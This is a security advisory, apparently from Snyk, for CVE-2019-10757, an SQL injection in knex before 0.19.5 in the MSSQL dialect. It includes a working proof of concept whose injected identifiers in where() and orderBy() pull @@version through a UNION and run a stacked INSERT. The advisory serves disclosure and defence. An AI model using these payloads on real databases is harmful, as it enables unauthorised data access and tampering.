SQL Injection

Affecting knex package, versions <0.19.5

Do your applications use this vulnerable package? Test your applications

Overview

knex is a query builder for PostgreSQL, MySQL and SQLite3

Affected versions of this package are vulnerable to SQL Injection. Identifiers are escaped incorrectly as part of the MSSQL dialect, allowing attackers to craft a malicious query to the host DB.

Note: Knex is not vulnerable when using other dialects than MSSQL

PoC

const knex = require('knex')({
  client: 'mssql',
  connection:{
    port: 1433,
    host: '127.0.0.1',
    password: 'yourStrong(!)Password',
    user: 'sa',
  },
});

(async () => {
  await knex.schema.createTableIfNotExists('projects', (table) => {
    table.increments();
    table.string('name');
  });
  console.log(await knex('projects').where('id] = 1 UNION SELECT 1, @@version -- --', 1));
  console.log(await knex('projects').where('id', 1)
    .orderBy('id]; INSERT INTO projects (name) VALUES (\'abc\'); -- --'));
})();

Remediation

Upgrade knex to version 0.19.5 or higher.

References

CVSS Score

9.8
high severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    High
  • Availability
    High
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Credit
Snyk Security Research Team
CVE
CVE-2019-10757
CWE
CWE-89
Snyk ID
SNYK-JS-KNEX-471962
Disclosed
07 Oct, 2019
Published
07 Oct, 2019